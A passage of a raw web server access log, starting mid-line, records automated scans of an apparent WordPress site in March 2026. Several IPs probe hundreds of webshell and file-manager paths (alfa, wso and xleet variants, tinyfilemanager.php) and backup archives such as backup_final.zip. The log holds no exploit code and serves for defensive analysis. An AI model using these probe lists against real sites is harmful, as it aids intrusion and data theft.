HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:57 +0300] "GET /wp-freya.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:58:00 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:17 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:20 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:07 +0300] "GET /iko.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:37 +0300] "GET /scx.php7 HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:41 +0300] "GET /error1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:44 +0300] "GET /thui.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:45 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:21 +0300] "GET /rpk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:24 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:11 +0300] "GET /koiy.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:11 +0300] "GET //ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:44 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:47 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:56 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 144.172.114.76 - - [01/Mar/2026:01:08:57 +0300] "HEAD /backup_final.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 4.204.200.32 - - [01/Mar/2026:01:03:21 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:36 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:54 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:05:38 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:03 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:27 +0300] "GET /avim.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:00:01 +0300] "GET /fasx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:14 +0300] "GET /xmy.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:18 +0300] "GET /fun.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:41 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:45 +0300] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:05:17 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:19 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:23 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:26 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:27 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:06 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:09 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:55:34 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:14 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:16 +0300] "GET /wqqs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:20 +0300] "GET /zc-318.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:23 +0300] "GET /dom.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:25 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:28 +0300] "GET /moon3.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:31 +0300] "GET //thui.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:35 +0300] "GET /ebahvhhh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:38 +0300] "GET /snq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:41 +0300] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:44 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:56:47 +0300] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:31 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:34 +0300] "GET /bes.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:37 +0300] "GET /sadd.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:39 +0300] "GET /vgtyu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:43 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:45 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:53 +0300] "GET /c4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:59:57 +0300] "GET /eauu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:06 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:13 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:02:31 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:37 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:26 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:31 +0300] "GET /ocxla.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:43 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:46 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:53 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:53:57 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:54:00 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:26 +0300] "GET /ws61.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:29 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:32 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:36 +0300] "GET /ws59.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:39 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:41 +0300] "GET /mamzi.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:00:57:44 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:01:02 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:03:05 +0300] "GET /get.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Mar/2026:01:04:17 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 80.94.95.173 - - [01/Mar/2026:02:03:49 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 43.159.128.247 - - [01/Mar/2026:01:47:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.114.76 - - [01/Mar/2026:02:43:33 +0300] "HEAD /elite.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 144.172.114.76 - - [01/Mar/2026:02:43:46 +0300] "HEAD /ewall.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 43.131.45.213 - - [01/Mar/2026:02:58:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 95.214.52.207 - - [01/Mar/2026:03:18:37 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 89.110.99.186 - - [01/Mar/2026:03:32:25 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 20.63.83.113 - - [01/Mar/2026:04:07:30 +0300] "GET /fosil.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:08:56 +0300] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 144.172.114.76 - - [01/Mar/2026:03:37:15 +0300] "HEAD /backup_final.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 20.63.83.113 - - [01/Mar/2026:04:08:10 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:08:17 +0300] "GET /ws.php.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:08:39 +0300] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:09:31 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:09:34 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:04 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:07 +0300] "GET /wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:51 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:07:45 +0300] "GET /29rc7ExgS6p.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:07:52 +0300] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:07:58 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:09:19 +0300] "GET /wp-cache.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:14 +0300] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:43 +0300] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:07:05 +0300] "GET /block-support.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:07:37 +0300] "GET /issue.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:07:39 +0300] "GET /verify.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:08:49 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 144.172.114.76 - - [01/Mar/2026:04:22:26 +0300] "HEAD /wp_site.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 44.251.136.254 - - [01/Mar/2026:03:45:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 44.251.136.254 - - [01/Mar/2026:03:45:14 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.63.83.113 - - [01/Mar/2026:04:06:22 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:24 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:26 +0300] "GET /home.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:30 +0300] "GET /dialog.php HTTP/1.1" 301 795 "-" "-" 88.210.35.166 - - [01/Mar/2026:03:32:18 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 20.63.83.113 - - [01/Mar/2026:04:05:57 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:06:37 +0300] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:07:18 +0300] "GET /Mhbgf.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:07:23 +0300] "GET /Xleet.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:08:27 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:09:04 +0300] "GET /alfa1.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Mar/2026:04:09:07 +0300] "GET /abouts.php HTTP/1.1" 301 795 "-" "-" 23.95.96.140 - - [01/Mar/2026:05:50:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" 40.69.66.178 - - [01/Mar/2026:06:30:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 123.187.240.242 - - [01/Mar/2026:06:20:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.198.110.45 - - [01/Mar/2026:07:16:38 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 144.172.114.76 - - [01/Mar/2026:06:34:04 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 115.45.43.182 - - [01/Mar/2026:07:58:05 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.3145.127 Safari/537.36 SE 2.X MetaSr 1.0" 43.132.214.228 - - [01/Mar/2026:08:42:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.208.24.153 - - [01/Mar/2026:08:54:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 43.153.26.165 - - [01/Mar/2026:09:39:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.94.100.222 - - [01/Mar/2026:09:50:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 183.207.45.100 - - [01/Mar/2026:10:11:50 +0300] "GET /wp-content/uploads/theplus-addons/theplus-post-81.min.js?ver=1772253386 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 183.207.45.100 - - [01/Mar/2026:10:12:35 +0300] "GET /wp-content/uploads/theplus-addons/theplus-post-81.min.css?ver=1772253386 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 183.207.45.100 - - [01/Mar/2026:10:13:49 +0300] "GET /wp-content/uploads/slider/cache/f2ed636f6666830104cd5efd8f0c6030/1027-1.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 183.207.45.100 - - [01/Mar/2026:10:11:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 183.207.45.100 - - [01/Mar/2026:10:13:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 183.207.45.100 - - [01/Mar/2026:10:13:58 +0300] "GET /wp-content/uploads/slider/cache/0de5b12a92d1c2ff8cbdbb7a5fa2ead4/19452.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 183.207.45.100 - - [01/Mar/2026:10:12:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 183.207.45.100 - - [01/Mar/2026:10:12:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" 144.172.114.76 - - [01/Mar/2026:09:43:36 +0300] "GET /wp-content/plugins/checkout-mestres-wp/readme.txt HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 20.220.232.101 - - [01/Mar/2026:10:16:01 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:04 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:46 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:50 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:54 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:57 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:07 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:10 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:55 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:03 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:29 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:33 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:14 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:18 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:54 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:58 +0300] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:41 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:44 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:48 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:29 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:32 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:37 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:00 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:48 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:02 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:09 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:15:56 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:54 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:43 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:20 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:40 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:54 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:56 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:20:58 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:51 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:54 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:58 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:24 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:31 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:00 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:20 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:20 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:23 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:26 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:21:32 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:16 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:19 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:21 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:25:02 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:07 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:10 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:26:13 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:53 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:27:57 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:15:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:16:13 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:34 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:19:08 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:26 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:22:28 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:24 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:28 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:30 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:33 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:23:36 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:24:00 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:15 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:39 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:42 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:45 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:17:49 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:35 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:39 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - [01/Mar/2026:10:18:40 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.220.232.101 - - 